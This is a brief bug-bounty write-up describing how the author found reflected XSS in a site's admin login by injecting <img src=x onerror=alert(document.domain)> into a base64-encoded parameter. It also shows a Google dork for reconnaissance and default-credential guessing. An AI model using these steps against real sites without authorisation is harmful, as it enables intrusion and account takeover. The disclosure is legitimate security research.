One night I was about to go to sleep, however, set the goal of finding the bug within a max of 15 minutes. I did some google dorking like this:
site:*.target.com ext:php
I found the site with an admin panel on it. I tried to log in with some common credentials combinations such as admin/admin, admin/test, test/test, etc., but nothing worked. IĀ got the message: “Inloggen / Log In ((failed))”. I was about to give up here as I don’t like to brute force the credentials, as I saw GET parameter named e which was BASE64 encoded string. I decoded it and saw the following string:
start.php?do=start|(failed)|b56dd8df284556c4440f747fe770680f7a011
Hmm, the same “(failed)” was visible after failed login. Now you may guess the rest :). What if I change this “(failed)” part of the string into XSS payload “<img src=x onerror=alert(document.domain)>”, so the string will be:
start.php?do=start|<img src=x onerror=alert(document.domain)>|b56dd8df284556c4440f747fe770680f7a011
After encoding to base64 it would be:
c3RhcnQucGhwP2RvPXN0YXJ0fDxpbWcgc3JjPXggb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPnxiNTZkZDhkZjI4NDU1NmM0NDQwZjc0N2ZlNzcwNjgwZjdhMDExZmFj
So the final URL was:
https://redacted.com/admin/index.php?e=c3RhcnQucGhwP2RvPXN0YXJ0fDxpbWcgc3JjPXggb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPnxiNTZkZDhkZjI4NDU1NmM0NDQwZjc0N2ZlNzcwNjgwZjdhMDExZmFj
And guess what? It worked. I managed to get reflected XSS. Now I know, in this case, it was pretty easy escalable to account takeover, however I stopped on XSS back then.
Reward: Hall Of Fame
See you next bug š